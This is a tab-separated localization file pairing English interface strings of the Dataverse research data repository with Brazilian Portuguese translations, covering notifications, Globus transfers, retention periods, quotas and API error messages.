notification.typeDescription.PUBLISHFAILED_PIDREG	Publish has failed	A publicação falhou
notification.typeDescription.WORKFLOW_SUCCESS	External workflow run has succeeded	A execução do fluxo de trabalho externo foi bem-sucedida
notification.typeDescription.WORKFLOW_FAILURE	External workflow run has failed	A execução do fluxo de trabalho externo falhou
notification.typeDescription.STATUSUPDATED	Status of dataset has been updated	O status do conjunto de dados foi atualizado
notification.typeDescription.DATASETCREATED	Dataset was created by user	O conjunto de dados foi criado pelo usuário
confirmEmail.details.failure.invalidToken	Invalid token	Token inválido
confirmEmail.details.failure.lookupFailed	Lookup by token failed	Falha na pesquisa por token
confirmEmail.details.failure.tokenExpired	Token expired	Token expirado
confirmEmail.details.failure.userDeactivated	User deactivated	Usuário desativado
confirmEmail.details.failure.noToken	No token provided	Nenhum token fornecido
confirmEmail.details.failure.noConfirmEmailDataFromToken	Problem processing token	Problema ao processar o token
dataset.message.editMetadata.invalid.TOUA.message	Datasets with restricted files are required to have Request Access enabled or Terms of Access to help people access the data. Please edit the dataset to confirm Request Access or provide Terms of Access to be in compliance with the policy.	Os conjuntos de dados com arquivos restritos precisam ter a solicitação de acesso ativada ou os termos de acesso para ajudar as pessoas a acessar os dados. Edite o conjunto de dados para confirmar a solicitação de acesso ou forneça os Termos de acesso para estar em conformidade com a política.
dataset.message.toua.invalid	Terms of Use and Access are invalid. You must enable request access or add terms of access in datasets with restricted files.	Você deve habilitar o acesso de solicitação ou adicionar termos de acesso em conjuntos de dados com arquivos restritos.
dataset.message.publish.warning	This draft version needs to be published.	Esta versão de rascunho precisa ser publicada.
dataset.message.submit.warning	This draft version needs to be submitted for review.	Esta versão de rascunho precisa ser enviada para revisão.
dataset.message.publish.remind.draft.filePage	When ready for sharing, please go to the dataset page to publish it so that others can see these changes.	Quando estiver pronto para compartilhar, vá para a página do conjunto de dados para publicá-lo para que outras pessoas possam ver essas alterações.
dataset.message.submit.remind.draft.filePage	When ready for sharing, please go to the dataset page to submit it for review.	Quando estiver pronto para compartilhar, vá para a página do conjunto de dados para enviá-lo para análise.
file.dataFilesTab.terms.list.termsOfAccess.description	Restricting limits access to published files. People who want to use the restricted files can request access by default. If you disable request access, you must add information about access to the Terms of Access field.	A restrição limita o acesso aos arquivos publicados. As pessoas que desejam usar os arquivos restritos podem solicitar acesso por padrão. Se você desabilitar a solicitação de acesso, deverá adicionar informações sobre o acesso ao campo Termos de Acesso.
file.dataFilesTab.terms.list.termsOfAccess.description.line.2	Learn about restricting files and dataset access in the User Guide.	Saiba como restringir o acesso a arquivos e conjuntos de dados no Guia do usuário.
file.dataFilesTab.terms.list.termsOfAccess.requestAccess.warning.outofcompliance	You must enable request access or add terms of access to restrict file access.	Você deve habilitar o acesso de solicitação ou adicionar termos de acesso para restringir o acesso ao arquivo.
dataset.access.accessHeader.invalid.state	Define Data Access	Definir acesso a dados
dataset.access.description.disable	If you disable request access, you must add information about access to the Terms of Access field.	Se você desativar a solicitação de acesso, deverá adicionar informações sobre o acesso ao campo Termos de acesso.
dataset.access.description.line.2	Learn about restricting files and dataset access in the User Guide.	Saiba como restringir o acesso a arquivos e conjuntos de dados no Guia do usuário.
bagit.checksum.validation.error	Invalid checksum for file "{0}". Manifest checksum={2}, calculated checksum={3}, type={1}	Soma de verificação inválida. filePath={0} type={1} fileChecksum={2} calculadoChecksum={3}
bagit.checksum.validation.exception	Error while calculating checksum for file "{0}". Checksum type={1}, error={2}	Erro ao calcular a soma de verificação. filePath={0} type={1} error={2}
bagit.validation.bag.file.not.found	Invalid BagIt package: "{0}"	Arquivo de BagIT inválido: {0}
bagit.validation.manifest.not.supported	No supported manifest found in BagIt package. Supported types are: {1}	Nenhum manifesto compatível encontrado em: {0} supportedTypes: {1}
bagit.validation.file.not.found	The manifest declared a file, "{0}", that is not found in the BagIt package	Arquivo declarado de manifesto: {0} não encontrado no provedor de dados: {1}
bagit.validation.exception	Unable to complete checksums for BagIt package	Não foi possível concluir as somas de verificação para: {0}
dataset.file.error.application/zipped-bagit	BagIt package, "{0}", detected but errors found. These are the errors found until processing stopped:	Pacote BagIt detectado, mas foram encontrados erros. Estes são os erros encontrados até o processamento ser interrompido
access.api.fileAccess.failure.noSave	Could not update Request Access for {0} Error Message {1}	Não foi possível atualizar a solicitação de acesso para {0} mensagem de erro {1}
notification.datasetMentioned	Announcement Received: Newly released {0} {2} {3} Dataset {4}.	Anúncio recebido: Conjunto de dados {0} {2} {3} recém-lançado {4}.
notification.mail.globus.upload.completed	Globus transfer to Dataset {2} was successful. File(s) have been uploaded and verified. {3}	A transferência Globus para o conjunto de dados {2} foi bem-sucedida. Arquivo(s) foram carregados e verificados. {3}
notification.mail.globus.download.completed	Globus transfer of file(s) from the dataset {2} was successful. {3}	A transferência global de arquivo(s) do conjunto de dados {2} foi bem-sucedida . {3}
notification.mail.globus.upload.completedWithErrors	Globus transfer to Dataset {2} is complete with errors. {3}	A transferência Globus para o conjunto de dados {2} está completa com erros. {3}
notification.mail.globus.download.completedWithErrors	Globus transfer from the dataset {2} is complete with errors. {3}	A transferência Globus do conjunto de dados {2} está completa com erros. {3}
notification.globus.upload.completed	Globus transfer to Dataset {1} was successful. File(s) have been uploaded and verified.	A transferência Globus para o conjunto de dados {1} foi bem-sucedida. Arquivo(s) foram carregados e verificados.
notification.globus.download.completed	Globus transfer from the dataset {1} was successful.	A transferência Globus do conjunto de dados {1} foi bem-sucedida.
notification.globus.upload.completedWithErrors	Globus transfer to Dataset {1} is complete with errors.	A transferência Globus para o conjunto de dados {1} está completa com erros.
notification.globus.download.completedWithErrors	Globus transfer from the dataset {1} is complete with errors.	A transferência Globus do conjunto de dados {1} está completa com erros.
notification.typeDescription.DATASETMENTIONED	Dataset was referenced in remote system	O conjunto de dados foi referenciado no sistema remoto
notification.email.datasetWasMentioned	Hello {0}, The {1} has just been notified that the {2}, {4}, {5} "{8}" in this repository.	Olá {0}, O {1} acaba de ser notificado de que o {2}, {4}, { 5} "{8}" neste repositório.
notification.email.datasetWasMentioned.subject	{0}: A Dataset Relationship has been reported!	{0}: Uma relação de conjunto de dados foi relatada!
notification.email.globus.uploadCompleted.subject	{0}: Files uploaded successfully via Globus and verified	{0}: Arquivos enviados com sucesso via Globus e verificados
notification.email.globus.downloadCompleted.subject	{0}: Files downloaded successfully via Globus	{0}: Arquivos baixados com sucesso via Globus
notification.email.globus.uploadCompletedWithErrors.subject	{0}: Uploaded files via Globus with errors	{0}: Arquivos enviados via Globus com erros
notification.email.globus.downloadCompletedWithErrors.subject	{0}: Downloaded files via Globus with errors	{0}: Arquivos baixados via Globus com erros
dataset.message.publishGlobusFailure.details	Could not publish Globus data.	Não foi possível publicar dados Globus.
dataset.message.publishGlobusFailure	Error with publishing data.	Erro ao publicar dados.
dataset.message.GlobusError	Cannot go to Globus.	Não é possível ir para Globus.
file.fromGlobus.tip	Upload files via Globus transfer. This method is recommended for large file transfers. (Using it will cancel any other types of uploads in progress on this page.)	Carregar arquivos via transferência Globus. Este método é recomendado para transferências de arquivos grandes. (Usá-lo cancelará qualquer outro tipo de upload em andamento nesta página.)
file.fromGlobusAfterCreate.tip	File upload via Globus transfer will be enabled after this dataset is created.	O upload de arquivo via transferência Globus será ativado após a criação deste conjunto de dados.
file.fromGlobus	Upload with Globus	Carregar com Globus
file.finishGlobus	Globus Transfer has finished	Transferência Globus terminou
file.downloadFromGlobus	Download through Globus	Baixe através do Globus
file.globus.transfer	Globus Transfer	Transferência Globus
file.globus.of	of:	de:
file.sizeNotAvailable	Size not available	Tamanho não disponível
file.globusUpload.inProgressMessage.summary	Globus Transfer in Progress	Transferência Globus em andamento
file.globusUpload.inProgressMessage.details	This dataset is locked while the data files are being transferred and verified. Large transfers may take significant time. You can check transfer status at https://app.globus.org/activity.	Este conjunto de dados está bloqueado enquanto os arquivos de dados estão sendo transferidos e verificados. Grandes transferências podem levar um tempo significativo. Você pode verificar o status da transferência em https://app.globus.org/activity.
file.dataFilesTab.versions.headers.archived	Archival Status	Status de arquivamento
file.dataFilesTab.versions.headers.archived.success	Archived	Arquivado
file.dataFilesTab.versions.headers.archived.pending	Pending	Pendente
file.dataFilesTab.versions.headers.archived.failure	Failed	Falhou
file.dataFilesTab.versions.headers.archived.notarchived	Not Archived	Não arquivado
file.dataFilesTab.versions.headers.archived.submit	Submit	Enviar
file.remotelyStored	This file is stored remotely - click for more info	Este arquivo é armazenado remotamente - clique para mais informações
externaltools.enable.browser.popups	You must enable popups in your browser to open external tools in a new window or tab.	Você deve ativar pop-ups em seu navegador para abrir ferramentas externas em uma nova janela ou guia.
template.instructions.label	Custom Instructions:	Instruções personalizadas:
template.instructions.label.tip	Click to Edit	Clique para editar
template.instructions.empty.label	(None - click to add)	(Nenhum - clique para adicionar)
jsonparser.error.metadatablocks.not.found	Invalid JSON object: metadata blocks not found.	Objeto JSON inválido: blocos de metadados não encontrados.
jsonparser.error.parsing.date	Error parsing date: {0}	Data de análise do erro: {0}
jsonparser.error.parsing.number	Error parsing number: {0}	Erro ao analisar o número: {0}
api.ldninbox.citation.alert	{0}, The {1} has just been notified that the {2}, {3}, cites "{6}" in this repository.	{0}, O {1} acaba de ser notificado de que o {2}, {3}, aspas " {6}" neste repositório.
api.ldninbox.citation.subject	{0}: A Dataset Citation has been reported!	{0}: Uma citação de conjunto de dados foi relatada!
oauth2.callback.error.providerDisabled	This authentication method ({0}) is currently disabled. Please log in using one of the supported methods.	({0}) está desativado no momento. Faça login usando um dos métodos suportados.
oauth2.callback.error.signupDisabledForProvider	Sorry, signup for new accounts using {0} authentication is currently disabled.	Desculpe, a inscrição para novas contas usando a autenticação {0} está desativada no momento.
harvestclients.newClientDialog.customHeader	Custom HTTP Header	Cabeçalho HTTP personalizado
harvestclients.newClientDialog.customHeader.helptext	(Optional) Custom HTTP header to add to requests, if required by this OAI server.	(Opcional) Cabeçalho HTTP personalizado para adicionar às solicitações, se exigido por este servidor OAI.
harvestclients.newClientDialog.customHeader.watermark	Enter an http header, as in header-name: header-value	Insira um cabeçalho http, como em nome do cabeçalho: valor do cabeçalho
harvestclients.newClientDialog.customHeader.invalid	Client header name can only contain letters, digits, underscores (_) and dashes (-); the entire header string must be in the form of "header-name: header-value"	O nome do cabeçalho do cliente pode conter apenas letras, dígitos, sublinhados (_) e hífens (-); toda a string do cabeçalho deve estar na forma de "nome do cabeçalho: valor do cabeçalho"
file.fromWebloader.tip	Upload a folder of files. This method retains the relative path structure from your local machine. (Using it will cancel any other types of uploads in progress on this page.)	Carregue uma pasta de arquivos. Este método retém a estrutura do caminho relativo de sua máquina local. (Usá-lo cancelará qualquer outro tipo de upload em andamento nesta página.)
file.fromWebloaderAfterCreate.tip	An option to upload a folder of files will be enabled after this dataset is created.	Uma opção para carregar uma pasta de arquivos será habilitada após a criação deste conjunto de dados.
file.fromWebloader	Upload a Folder	Carregar uma pasta
file.auxfiles.types.NcML	XML from NetCDF/HDF5 (NcML)	XML de NetCDF/HDF5 (NcML)
files.api.no.draft	No draft available for this file	Nenhum rascunho disponível para este arquivo
In\u0020Review	In Review	Em Revisão
Research\u0020Project	Research Project	Projeto de Pesquisa
Organization\u0020or\u0020Institution	Organization or Institution	Organização ou Instituição
Teaching\u0020Course	Teaching Course	Curso de Ensino
Research\u0020Group	Research Group	Grupo de Pesquisa
Tabular\u0020Data	Tabular Data	Dados Tabulares
Network\u0020Data	Network Data	Dados de rede
incomplete	Incomplete metadata	Metadados incompletos
valid	Valid	Válido
query	Query	Consulta
guestbookEntryOption	Guestbook Entry Option	Opção de entrada no livro de visitas
transfer	Globus Transfer	Transferência Globo
contact.cc	CC	CC
contact.from.emailPlaceholder	name@email.xyz	nome@email.xyz
contact.sent	Message sent.	Mensagem enviada.
notification.requestedFileAccess	You have requested access to files in dataset: {0}.	Você solicitou acesso aos arquivos no conjunto de dados: {0}.
notification.email.requested.file.access.subject	{0}: You have requested access to a restricted file in dataset "{1}"	{0}: Você solicitou acesso a um arquivo restrito no conjunto de dados "{1}"
notification.email.requestFileAccess.guestbookResponse	Guestbook Response: {0}	Resposta do livro de visitas: {0}
notification.email.requestedFileAccess	You have requested access to a file(s) in dataset "{1}". Your request has been sent to the managers of this dataset who will grant or reject your request. If you have any questions, you may reach the dataset managers using the "Contact" link on the upper right corner of the dataset page.	Você solicitou acesso a arquivos no conjunto de dados "{1}". Sua solicitação foi enviada aos gerentes deste conjunto de dados que irão atendê-la ou rejeitá-la. Se tiver alguma dúvida, você pode entrar em contato com os gerentes do conjunto de dados usando o link "Contato" no canto superior direito da página do conjunto de dados.
dataverse.guestbookentryatrequest.title	Whether Guestbooks are displayed to users when they request file access or when they download files.	Se os livros de visitas são exibidos aos usuários quando eles solicitam acesso a arquivos ou quando baixam arquivos.
dataverse.storage.quota.allocation	Total quota allocation for this collection: {0} bytes	Alocação total de cotas para esta coleção: {0} bytes
dataverse.storage.quota.notdefined	No quota defined for this collection	Nenhuma cota definida para esta coleção
dataverse.storage.quota.updated	Storage quota successfully set for the collection	Cota de armazenamento definida com sucesso para a coleção
dataverse.storage.quota.deleted	Storage quota successfully disabled for the collection	Cota de armazenamento desativada com sucesso para a coleção
dataverse.storage.quota.superusersonly	Only superusers can change storage quotas.	Somente superusuários podem alterar cotas de armazenamento.
dataverse.storage.use	Total recorded size of the files stored in this collection (user-uploaded files plus the versions in the archival tab-delimited format when applicable): {0} bytes	Tamanho total registrado dos arquivos armazenados nesta coleção (arquivos enviados pelo usuário mais as versões no formato de arquivamento delimitado por tabulação quando aplicável): {0} bytes
dataverse.guestbookentry.atdownload	Guestbook Entry At Download	Entrada no livro de visitas no download
dataverse.guestbookentry.atrequest	Guestbook Entry At Access Request	Entrada no livro de visitas na solicitação de acesso
dataverse.results.solrIsTemporarilyUnavailable	Search Engine service (Solr) is temporarily unavailable because of high load. Please try again later.	O serviço Search Engine (Solr) está temporariamente indisponível devido à alta carga. Por favor, tente novamente mais tarde.
dataverse.results.solrIsTemporarilyUnavailable.extraText	Note that all the datasets that are part of this collection are accessible via direct links and registered DOIs.	Observe que todos os conjuntos de dados que fazem parte desta coleção são acessíveis através de links diretos e DOIs cadastrados.
dataverse.results.solrFacetsDisabled	Facets temporarily unavailable.	Facetas temporariamente indisponíveis.
dataverse.permissionsFiles.usersOrGroups.tabHeader.accessRequestDate	Date	Data
dataverse.permissionsFiles.usersOrGroups.tabHeader.accessRequestDateNotAvailable	N/A	N/A
dataset.guestbookResponse	Guestbook Response	Resposta do livro de visitas
dataset.guestbookResponse.id	Guestbook Response ID	ID de resposta do livro de visitas
dataset.guestbookResponse.date	Response Date	Data da Resposta
dataset.guestbookResponse.respondent	Respondent	Requerido
dataset.guestbookResponse.question	Q	P
dataset.guestbookResponse.answer	A	Um
dataset.guestbookResponse.noResponse	(No Response)	(Sem resposta)
dataset.accessBtn.header.configure	Configure Options	Configurar opções
dataset.accessBtn.transfer.size	({0})	({0})
metrics.dataset.makedatacount.title	Make Data Count (MDC) Metrics	Métricas de contagem de dados (MDC)
metrics.dataset.makedatacount.since	since	desde
metrics.dataset.downloads.premakedatacount.tip	Downloads prior to enabling MDC. Counts do not have the same filtering and detail as MDC metrics.	Downloads antes de ativar o MDC. As contagens não têm a mesma filtragem e detalhes que as métricas do MDC.
metrics.file.downloads.nonmdc.tip	Total downloads. Due to differences between MDC and Dataverse's internal tracking, the sum of these for all files in a dataset may be larger than total downloads reported for a dataset.	Total de downloads. Devido a diferenças entre o rastreamento interno do MDC e do Dataverse, a soma delas para todos os arquivos em um conjunto de dados pode ser maior que o total de downloads relatados para um conjunto de dados.
metrics.downloads.nonMDC	{0, choice, 0#\|1# (+ 1 pre-MDC \|2< (+ {0} pre-MDC }	{0, escolha, 0#\|1# (+ 1 pré-MDC \|2< (+ {0} pré-MDC }
dataset.message.incomplete.warning	This draft version has incomplete metadata that needs to be edited before it can be published.	Esta versão preliminar contém metadados incompletos que precisam ser editados antes de serem publicados.
dataset.metadata.invalidEntry	is not a valid entry.	não é uma entrada válida.
dataset.metadata.invalidDate	is not a valid date. "yyyy" is a supported format.	não é uma data válida. "aaaa" é um formato compatível.
dataset.metadata.invalidNumber	is not a valid number.	não é um número válido.
dataset.metadata.invalidGeospatialCoordinates	has invalid coordinates. East must be greater than West and North must be greater than South. Missing values are NOT allowed.	tem coordenadas inválidas. O Leste deve ser maior que o Oeste e o Norte deve ser maior que o Sul. Valores ausentes NÃO são permitidos.
dataset.metadata.invalidInteger	is not a valid integer.	não é um número inteiro válido.
dataset.metadata.invalidURL	is not a valid URL.	não é um URL válido.
dataset.metadata.invalidEmail	is not a valid email address.	não é um endereço de e-mail válido.
dataset.mixedSelectedFilesForTransfer	Some file(s) cannot be transferred. (They are restricted, embargoed, or not Globus accessible.)	Alguns arquivos não podem ser transferidos. (Eles são restritos, embargados ou não acessíveis ao Globus.)
dataset.inValidSelectedFilesForTransfer	Ineligible Files Selected	Arquivos inelegíveis selecionados
dataset.transferUnrestricted	Click Continue to transfer the elligible files.	Clique em Continuar para transferir os arquivos elegíveis.
file.selectToAdd.tipQuotaRemaining	Storage quota: {0} remaining.	Cota de armazenamento: {0} restantes.
file.accessBtn.header.access	File Access	Acesso a arquivos
file.accessBtn.header.metadata	Download Metadata	Baixar metadados
file.ingestFailed	Ingest failed. No further information is available.	Falha na ingestão. Nenhuma outra informação está disponível.
file.ingest.saveFailed.message	Ingest succeeded, but failed to save the ingested tabular data in the database; no further information is available	A ingestão foi bem-sucedida, mas falhou ao salvar os dados tabulares assimilados no banco de dados; Nenhuma outra informação está disponível
file.ingest.saveFailed.detail.message	Ingest succeeded, but failed to save the ingested tabular data in the database:	A ingestão foi bem-sucedida, mas não conseguiu salvar os dados tabulares ingeridos no banco de dados:
file.toolsTab.button.label	File Tools	Ferramentas de arquivo
file.results.presort.tag	Group by Tag	Agrupar por etiqueta
file.results.presort.tag.desc	Datafiles will be grouped by Tag before being sorted.	Os arquivos de dados serão agrupados por Tag antes de serem ordenados.
file.results.presort.folder	Group by Folder	Agrupar por pasta
file.results.presort.folder.desc	Datafiles will be grouped by Folder before being sorted.	Os arquivos de dados serão agrupados por pasta antes de serem classificados.
file.results.presort.change.success	Grouping of Files in File Table updated.	Agrupamento de arquivos na tabela de arquivos atualizado.
file.accessBtn.header.query	Query Options	Opções de consulta
file.queryTab.tool.open	Open	Abrir
file.queryTab.header	Query	Consulta
file.queryTab.presentation	File Query Tool	Ferramenta de consulta de arquivos
file.queryTab.openBtn	Open in New Window	Abrir em nova janela
file.queryTab.queryBtn	{0} on {1}	{0} em {1}
file.toolTab.header	File Tools	Ferramentas de arquivo
file.addreplace.error.quota_exceeded	This file (size {0}) exceeds the remaining storage quota of {1}.	Este arquivo (tamanho {0}) excede a cota de armazenamento restante de {1}.
file.addreplace.error.unzipped.quota_exceeded	Unzipped files exceed the remaining storage quota of {0}.	Os arquivos descompactados excedem a cota de armazenamento restante de {0}.
mydataFragment.validity	Metadata validity	Validade dos metadados
dataset.linking.popop.already.linked.note	Note: This dataset is already linked to the following dataverse(s):	Nota: Este conjunto de dados já está vinculado ao(s) seguinte(s) dataverse(s):
files.api.only.tabular.supported	This operation is only available for tabular files.	Esta operação está disponível apenas para arquivos tabulares.
datasets.api.version.files.invalid.order.criteria	Invalid order criteria: {0}	Critérios de pedido inválidos: {0}
datasets.api.version.files.invalid.access.status	Invalid access status: {0}	Status de acesso inválido: {0}
datasets.api.deaccessionDataset.invalid.version.identifier.error	Only {0} or a specific version can be deaccessioned	Somente {0} ou uma versão específica pode ser desativada
datasets.api.deaccessionDataset.invalid.forward.url	Invalid deaccession forward URL: {0}	URL de encaminhamento de desacesso inválido: {0}
datasets.api.globusdownloaddisabled	File transfer from Dataverse via Globus is not available for this dataset.	A transferência de arquivos do Dataverse via Globus não está disponível para este conjunto de dados.
datasets.api.globusdownloadnotfound	List of files to transfer not found.	Lista de arquivos para transferência não encontrada.
datasets.api.globusuploaddisabled	File transfer to Dataverse via Globus is not available for this dataset.	A transferência de arquivos para o Dataverse via Globus não está disponível para este conjunto de dados.
dataverses.api.create.dataset.error.mustIncludeAuthorName	Please provide author name in the dataset json	Forneça o nome do autor no conjunto de dados json
dataverses.api.validate.json.succeeded	The Dataset JSON provided is valid for this Dataverse Collection.	O JSON do conjunto de dados fornecido é válido para esta coleção do Dataverse.
dataverses.api.validate.json.failed	The Dataset JSON provided failed validation with the following error:	O Dataset JSON forneceu falha na validação com o seguinte erro:
dataverses.api.validate.json.exception	Validation failed with following exception:	A validação falhou com a seguinte exceção:
Harvested	Harvested	Coletado
retentionExpired	Retention Period Expired	Período de retenção expirado
retention.after	Was retained until	Foi retido até
retention.isfrom	Is retained until	Está retido até
retention.willbeafter	Draft: will be retained until	Rascunho: será retido até
retention.enddateinfo	after which it will no longer be accessible	após o qual não estará mais acessível
retention.date.invalid	Date is outside the allowed range: ({0} to {1})	A data está fora do intervalo permitido: ({0} a {1})
retention.date.required	A retention period end date is required	Uma data de término do período de retenção é necessária
pidProviderOption	PID Provider Option	Opção do provedor de PID
notification.email.wasReturnedByReviewerReason	Here is the curator comment: {0}	Aqui está o comentário do curador: {0}
notification.email.wasReturnedByReviewer.collectionContacts	You may contact the collection administrator for more information: {0}	Você pode entrar em contato com o administrador da coleção para obter mais informações: {0}
dataverse.pidProvider.title	The source of PIDs (DOIs, Handles, etc.) when a new PID is created.	A fonte dos PIDs (DOIs, Handles, etc.) quando um novo PID é criado.
dataverse.updateinputlevels.error.invalidfieldtypename	Invalid dataset field type name: {0}	Nome do tipo de campo do conjunto de dados inválido: {0}
dataset.guestbookResponse.requestor.id	authenticatedUserId	authenticatedUserId
dataset.guestbookResponse.requestor.identifier	authenticatedUserIdentifier	authenticatedUserIdentifier
dataset.rejectMessageReason	The reason for return entered below will be sent by email to the author.	O motivo da devolução informado abaixo será enviado por e-mail ao autor.
dataset.reject.commentNull	You must enter a reason for returning a dataset to the author(s).	Você deve informar um motivo para devolver um conjunto de dados ao(s) autor(es).
dataset.inValidSelectedFilesForTransferWithEmbargo	Inaccessible Files Selected	Arquivos inacessíveis selecionados
dataset.noValidSelectedFilesForTransfer	The selected file(s) may not be transferred because you have not been granted access or the file(s) have a retention period that has expired or the files are not Globus accessible.	O(s) arquivo(s) selecionado(s) não pode(m) ser transferido(s) porque você não recebeu acesso ou o(s) arquivo(s) tem um período de retenção que expirou ou os arquivos não são acessíveis ao Globus.
file.retention	Retention Period	Período de retenção
file.editRetention	Edit Retention Period	Editar período de retenção
file.editRetention.add	Add or Change	Adicionar ou alterar
file.editRetention.delete	Remove	Remover
file.editRetentionDialog.tip	Edit the planned retention period for the selected file or files. Once this dataset version is published, you will need to contact an administrator to change the retention period end date or reason of the file or files. \n After the retention period expires the files become unavailable for download.	Editar o período de retenção planejado para o(s) arquivo(s) selecionado(s). Depois que esta versão do conjunto de dados for publicada, você precisará entrar em contato com um administrador para alterar a data de término do período de retenção ou o motivo do(s) arquivo(s). \n Após o período de retenção expirar, os arquivos ficarão indisponíveis para download.
file.editRetentionDialog.some.tip	One or more of the selected files have already been published. Contact an administrator to change the retention period date or reason of the file or files.	Um ou mais arquivos selecionados já foram publicados. Entre em contato com um administrador para alterar a data do período de retenção ou o motivo do arquivo ou arquivos.
file.editRetentionDialog.none.tip	The selected file or files have already been published. Contact an administrator to change the retention period date or reason of the file or files.	O arquivo ou arquivos selecionados já foram publicados. Entre em contato com um administrador para alterar a data do período de retenção ou o motivo do arquivo ou arquivos.
file.editRetentionDialog.partial.tip	Any changes you make here will not be made to these files.	Quaisquer alterações feitas aqui não serão feitas nesses arquivos.
file.editRetentionDialog.reason.tip	Enter a short reason why this retention period exists	Insira um breve motivo pelo qual esse período de retenção existe
file.editRetentionDialog.newReason	Add a reason...	Adicione um motivo...
file.editRetentionDialog.newDate	Select the retention period end date	Selecione a data de término do período de retenção
file.editRetentionDialog.remove	Remove existing retention period(s) on selected files	Remova o(s) período(s) de retenção existente(s) nos arquivos selecionados
file.assignedRetention.success	A Retention Period was successfully added for {0}.	Um Período de Retenção foi adicionado com sucesso para {0}.
file.deaccessionDialog.tip.permanent	Deaccession is permanent.	A desativação é permanente.
file.metadataTab.fileMetadata.retentionDate.label	Retention End Date	Data de Término da Retenção
file.metadataTab.fileMetadata.retentionReason.label	Retention Reason	Motivo da Retenção
file.ingest	Ingest	Ingestão
file.uningest	Uningest	Desingestão
file.ingest.alreadyIngestedWarning	This file has already been ingested	Este arquivo já foi ingerido
file.ingest.ingestInProgressWarning	Ingestion of this file is already in progress	A ingestão deste arquivo já está em andamento
file.ingest.cantIngestFileWarning	Ingest not supported for this file type	Ingestão não suportada para este tipo de arquivo
file.ingest.ingestQueued	Ingestion has been requested	A ingestão foi solicitada
file.ingest.cantUningestFileWarning	This file cannot be uningested	Este arquivo não pode ser desingerido
file.uningest.complete	Uningestion of this file has been completed	A desingestão deste arquivo foi concluída
command.exception.user.ratelimited	{0} failed: Rate limited due to too many requests.	{0} falhou: Taxa limitada devido a muitas solicitações.
files.api.no.draftOrUnauth	Dataset version cannot be found or unauthorized.	A versão do conjunto de dados não pode ser encontrada ou não é autorizada.
files.api.notFoundInVersion	"File metadata for file with id {0} in dataset version {1} not found"	"Metadados de arquivo para arquivo com id {0} na versão do conjunto de dados {1} não encontrados"
files.api.fileNotFound	File could not be found.	O arquivo não pôde ser encontrado.
datasets.api.grant.role.assignee.has.role.error	User already has this role for this dataset	O usuário já tem esta função para este conjunto de dados
datasets.api.pidgenerator.notfound	No PID Generator configured for the give id.	Nenhum Gerador PID configurado para o id fornecido.
datasets.api.thumbnail.fileToLarge	File is larger than maximum size: {0}	O arquivo é maior que o tamanho máximo: {0}
datasets.api.thumbnail.nonDatasetFailed	In setNonDatasetFileAsThumbnail could not generate thumbnail from uploaded file.	Em setNonDatasetFileAsThumbnail não foi possível gerar miniatura do arquivo carregado.
datasets.api.thumbnail.notDeleted	User wanted to remove the thumbnail it still has one!	O usuário queria remover a miniatura, mas ela ainda tem uma!
datasets.api.thumbnail.actionNotSupported	Whatever you are trying to do to the dataset thumbnail is not supported.	O que quer que você esteja tentando fazer com a miniatura do conjunto de dados não é suportado.
datasets.api.thumbnail.nonDatasetsFileIsNull	In setNonDatasetFileAsThumbnail uploadedFile was null.	Em setNonDatasetFileAsThumbnail uploadedFile era nulo.
datasets.api.thumbnail.inputStreamToFile.exception	In setNonDatasetFileAsThumbnail caught exception calling inputStreamToFile: {0}	Em setNonDatasetFileAsThumbnail, uma exceção foi capturada ao chamar inputStreamToFile: {0}
datasets.api.thumbnail.missing	Dataset thumbnail is unexpectedly absent.	A miniatura do conjunto de dados está inesperadamente ausente.
datasets.api.thumbnail.basedOnWrongFileId	Dataset thumbnail should be based on file id {0} but instead it is {1}	A miniatura do conjunto de dados deveria ser baseada no ID do arquivo {0}, mas em vez disso é {1}
datasets.api.thumbnail.fileNotFound	Could not find file based on id supplied: {0}	Não foi possível encontrar o arquivo com base no ID fornecido: {0}
datasets.api.thumbnail.fileNotSupplied	A file was not selected to be the new dataset thumbnail.	Um arquivo não foi selecionado para ser a nova miniatura do conjunto de dados.
datasets.api.thumbnail.noChange	No changes to save.	Nenhuma alteração para salvar.
dataverses.api.delete.featured.collections.successful	Featured dataverses have been removed	Dataverses em destaque foram removidos
access.api.requestAccess.failure.retentionExpired	You may not request access to this file. It is not available because its retention period has ended.	Você não pode solicitar acesso a este arquivo. Ele não está disponível porque seu período de retenção terminou.
dataretrieverAPI.authentication.required	Requires authentication. Please login.	Requer autenticação. Faça login.
dataretrieverAPI.authentication.required.opt	retrieveMyDataAsJsonString. User not found! Shouldn't be using this anyway.	retrieveMyDataAsJsonString. Usuário não encontrado! Não deveria estar usando isso de qualquer maneira.
dataretrieverAPI.user.not.found	No user found for: "{0}"	Nenhum usuário encontrado para: "{0}"
dataretrieverAPI.solr.error	Sorry! There was an error with the search service.	Desculpe! Houve um erro com o serviço de pesquisa.
dataretrieverAPI.solr.error.opt	Sorry! There was a Solr Error.	Desculpe! Houve um erro Solr.
myDataFilterParams.error.no.user	Sorry! No user was found!	Desculpe! Nenhum usuário foi encontrado!
myDataFilterParams.error.result.no.role	No results. Please select at least one Role.	Nenhum resultado. Selecione pelo menos uma função.
myDataFilterParams.error.result.no.dvobject	No results. Please select one of Dataverses, Datasets, Files.	Nenhum resultado. Selecione um de Dataverses, Datasets, Files.
myDataFilterParams.error.result.no.publicationStatus	No results. Please select one of {0}.	Nenhum resultado. Selecione um de {0}.
myDataFinder.error.result.null	Sorry, the authenticated user ID could not be retrieved.	Desculpe, o ID do usuário autenticado não pôde ser recuperado.
myDataFinder.error.result.no.role	Sorry, you have no assigned roles.	Desculpe, você não tem funções atribuídas.
myDataFinder.error.result.role.empty	Sorry, nothing was found for this role: {0}	Desculpe, nada foi encontrado para esta função: {0}
myDataFinder.error.result.roles.empty	Sorry, nothing was found for these roles: {0}	Desculpe, nada foi encontrado para estas funções: {0}
myDataFinder.error.result.no.dvobject	Sorry, you have no assigned Dataverses, Datasets, or Files.	Desculpe, você não tem Dataverses, Datasets ou Files atribuídos.
RetentionPeriodExpired	Retention Period Expired	Período de retenção expirado
openapi.exception.invalid.format	Invalid format {0}, currently supported formats are YAML and JSON.	Formato inválido {0}, os formatos suportados atualmente são YAML e JSON.
openapi.exception	Supported format definition not found.	Definição de formato suportado não encontrada.
openapi.exception.unaligned	Unaligned parameters on Headers [{0}] and Request [{1}]	Parâmetros desalinhados em Headers [{0}] e Request [{1}]
software	Software	Software
workflow	Workflow	Fluxo de trabalho
review	Review	Revisão
embargo.reason.required	An embargo reason is required	É necessário um motivo para o embargo
embargo.reason.blank	An embargo reason cannot be blank	O motivo do embargo não pode estar em branco
user.orcid	ORCID	ORCID
